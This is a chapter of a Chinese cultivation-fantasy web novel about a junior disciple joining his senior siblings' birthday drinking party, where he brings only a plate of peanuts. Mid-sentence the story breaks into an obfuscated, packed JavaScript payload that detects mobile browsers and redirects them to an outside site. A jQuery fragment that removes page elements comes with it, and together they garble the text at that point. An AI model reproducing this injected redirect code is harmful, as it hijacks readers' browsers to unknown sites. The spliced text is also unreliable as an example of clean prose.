5. 第 5 章

作品:《师弟,求你笑一个

    “不用。”舒缅拒绝得毫不犹豫。他把筷子换到了左手,动作生疏地去夹米饭。


    那一撮米饭随着他的手颤颤巍巍地上升到下巴的高度,然后辜负众望地从看起来不是很熟的两根竹条中间掉了下去,坚定地回到了碗的怀抱。


    “哈哈哈!”


    舒缅猛地抬头,恼羞成怒地盯向一脸无辜的慕也。


    慕也瞪大了眼睛拼命摆手:“不是我笑的,真不是。你看后面。”


    舒缅唰地转过身,看见了整张脸都在因为奋力忍笑而疯狂抽搐的祝子洲。


    祝子洲正面对上他怨毒的眼神,想笑程度更上一层楼,恨不能直接喷了。


    他死死捂住自己的嘴,整个面部都在发力,生怕自己一不小心笑出来破坏了两族友谊。


    好不容易顺下了那口气,祝子洲板起脸摆出一副故作严厉的姿态:“师妹你也真是的,师弟手受着伤呢你就带他来吃饭。怎么不先去逢春堂先把伤给治了。”


    舒缅眼中的煞气消散不少。


    “要我说,这种事作为师姐你就要负起责任,亲手喂他。。”


    舒缅脑门上冒出黑线。


    慕也肉眼可见地顺竿爬:“是啊师弟,师兄说的对,”她眼神中露出恰如其分的心痛,夹起一颗清炒灵豆送到舒缅嘴边,“都怪我,是我害得师弟扭了手腕。”


    祝子洲显然不是个好人,听到这种八卦最感兴趣:“哦?你害的?展开说说呢。”


    慕也本来在和祝子洲唱双簧,却没想到祸水东引到了自己身上,想起早晨那混乱的场景,顿觉膝盖隐隐作痛:“哈哈,都过去了。说起来,师兄你来干什么?”


    “师妹你难道忘了今天是什么日子吗?”祝子洲西子捧心,“连师兄的生日都不记得了吗?”


    慕也最怕别人拷问她生日,因为她永远记不住,一时背后冷汗微出,把原身的记忆翻了个底朝天:“师兄的生日不是九月二十一么?”


    天一剑派内部有仙法结界,导致山中四季不甚分明,慕也穿越过来这几天还一直以为是在春天,没想到早就已经入秋了。


    “对啊,所以师妹你今晚记得来玄岩峰吃饭。”祝子洲瞄了眼默默听他们讲话不作声的舒缅:“小师弟也一起来。”


    “我不是……”“咕噜噜。”


    两道声音同时响起,舒缅的脸瞬间爆红,一句话也说不出来了。


    祝子洲又开始忍笑,赶紧溜之大吉了。


    慕也看着他潇洒离去的身影摇了摇头:“走了,先去把你的手治好。”


    *


    天一剑派的每座有主山峰都有着自己的名字,取名方式也相当简单粗暴,就是取这座山长老的法号和山上最典型的特征相结合。比如慕也的师父叫丹衡,这座山又相当的云雾缭绕,于是就叫丹云峰。


    明明没文化又显得很文艺,非常有他们剑修的风格。


    而祝子洲所在的玄岩峰,顾名思义,则是在说他的掌门师父号玄玑,这座山又是只有石头不长树的秃头山。


    幸好仙门内部无四季,不然夏天的时候这座山的温度能连人带房子全部烫化。


    慕也带着舒缅踏上玄岩峰的时候如是想道。


    祝子洲笑眯眯地迎上来:“来就来了还带什么东西……你带的什么菜?”


    慕也微笑回敬:“带都带了……我带了两瓶酒。”


    祝子洲立即不说话了,俊秀的剑眉耷拉成八字眉,眼神中透着一股看淡世俗的绝望。


    “怎么了?”


    “你自己进来看就知道了。”


    几人踏入祝子洲的院子,眼前的场景分外的骇人:


    桌子的中央摆着一只巨大的圆锅,中间还贴心地插了隔板分成红汤和白汤两个区域,已经煮得咕嘟咕嘟冒泡泡了,慕也一进来就闻到了令人咽口水的香气。


    但是——


    桌边就没有一盘菜,而是摆满了各式各样的酒,有的是瓶装的灵药酒;有的是圆滚滚的酒坛,上面还带着新鲜的泥土,一看就是刚挖出来没多久;更有甚者,和慕也的袖珍丹炉一样只有拇指食指圈起来的一半大,但瓶身晶莹剔透,里面的液体也是金黄的色泽,一看就价格不菲。


    围桌而坐的众师弟师妹们见慕也来了,眼睛里都装满了闪亮的期待,却又在看见祝子洲手中那瓶新酒时黯淡了下去。


    两两相望,惟余失望。


    玄岩峰是如此死板的山,竟然也会为默契的同门们掀起一片沉默的哗然。


    “……”舒缅攥住自己的芥子囊,有些局促地开口:“我带了一点吃的。”


    “!!!”几双眼睛齐刷刷地看向他,眼中冒着的绿光让他恍惚间以为自己回到了妖族的狼窝。


    祝子洲一个箭步冲到他面前,热泪盈眶:“果然还是小师弟最懂我。来来来,我给你们介绍一下,这个就是丹云峰新收的小师弟。”


    他一点没给舒缅拒绝的机会,拉着舒缅的手,挨个给他介绍:“这是青林峰的温师兄。这是苍泉峰的穆师姐。这是万剑峰的金师兄……”众人纷纷点头致意,并未纠结舒缅的妖族身份。


    “好了师弟,把菜放到锅里吧!”祝子洲扒拉住舒缅的肩膀,情真意切地催促道。


    “恐怕……不太能放在锅里。”舒缅的额头上渗出了汗珠,被一群奇怪的师兄师姐盯着的感觉让他头皮发麻,脑子里除了追悔莫及别无他想。


    木已成舟,所有人都眼巴巴地等着他动作。他只好慢吞吞地掏出了一个木匣,然后在众人炙热的眼神中取出了一盘——


    花生米。


    四下皆惊,一片寂静。


    舒缅知道众人误会了他的意思,以为他是带了什么菜来,但他其实没有什么获得新鲜食材的门路,这花生米还是治好伤之后饿得受不了去食堂拿的,因为不在饭点所以食堂只剩下这个。


    院子里太安静了,安静得只有火锅快要烧干的噗嘟噗嘟声,安静得舒缅心慌。


    会不会……把他打出去?


    他垂下头不敢看众人的表情,向来只表现出冷漠和强硬的眼底藏着少年人的敏感和忧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14999846|161722||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    虑。


    “哈哈哈哈哈哈!”院内几人突然齐齐爆发出笑声,他错愕地抬头,看见那几位一分钟前还无比端庄稳重的师兄师姐笑得前仰后合。


    温默把自己的脸藏在折扇后面,但是谁都看得出来他的全身连带折扇都抖个不停;穆薇捂着嘴笑,眼睛弯弯的像月牙;金逸安笑得倒在椅子上,结果椅子不稳带着他往后倒,好不容易控制住平衡,却因为反作用力一下子胸口撞上桌沿,疼得龇牙咧嘴。


    慕也本来也在笑,看见金逸安的神情,一下子回想起一些疼痛的上药经历,瞬间笑容凝固,暗暗在内心警示自己乐极生悲的道理。


    祝子洲擦了擦眼角笑出的泪,开心地伸手从不知所措的舒缅那里接过花生米。他豪情万丈地把桌子中央的大圆锅撤了,撕下锅底贴的燃火符,把那一碟花生米放在桌子中间。


    “不是一家人不进一家门,我们小师弟果然已经与我们同气连枝。”


    穆薇点头:“情同手足。”


    温默紧随其后:“一丘之貉。”


    金逸安思考了片刻:“蛇鼠一窝。”


    慕也笑道:“臭味相投。”


    “去去去,你自己臭去吧!”祝子洲假装嫌恶地捏住了鼻子,拉着舒缅让他离慕也远一点,“小师弟离得太近小心染上臭气,莫入鲍鱼之肆啊!”


    舒缅被拉得走了两步,眼睛却牢牢地黏在慕也脸上。慕也对他眨了眨眼,眼睛亮晶晶的,带着一点调侃和心照不宣。


    ——他们在回想同一件事。


    “好了好了,”祝子洲按着舒缅坐下,“感谢小师弟为我们补全了喝酒没有花生米的遗憾——现在,都给我喝!!不醉不归!!”


    众人都乖乖听大师兄的话,各自拿了酒打开,舒缅迷迷糊糊地手里也被塞了一瓶酒,但紧接着就被慕也抢了去。


    “金逸安!他还小呢,小孩子怎么能喝酒!”


    金逸安喝酒一下就会上脸,两口下去脸上已经泛出红晕。他仔细端详了舒缅白皙又严肃的脸蛋,然后恍然大悟地“哦哦”两声。


    慕也歪过身子,附在金逸安耳朵上,用气声说:“需要有个人清醒着打扫战局。”


    金逸安更加大彻大悟:“不愧是大师姐!实在是高!”


    “……师姐,我听得到。”舒缅无奈地说。


    “哎呀,忘记妖族五感更敏锐了。”慕也嘻嘻笑着,脸上却一点愧疚懊恼之色都没有。


    众人又是一阵哄笑。


    山中无四季,却有日夜。此时此刻明月高悬,在灯火稀疏的小院里落下洁净的光影,照亮了年轻修士朝气蓬勃的笑脸,也让所有自卑与恐惧的心思得以隐匿在阴影里。


    舒缅抬头看向天上的盈凸月,虽然不是满月,他却觉得比满月更好,更与此情此景相配。


    酒过三巡,几个长老的亲传弟子已经为了最后的几颗花生米用筷子打了起来。


    世间万物难得圆满,偷来一刹已是不易。


    如此想来,这声师姐,好像也没有那么难叫出口了。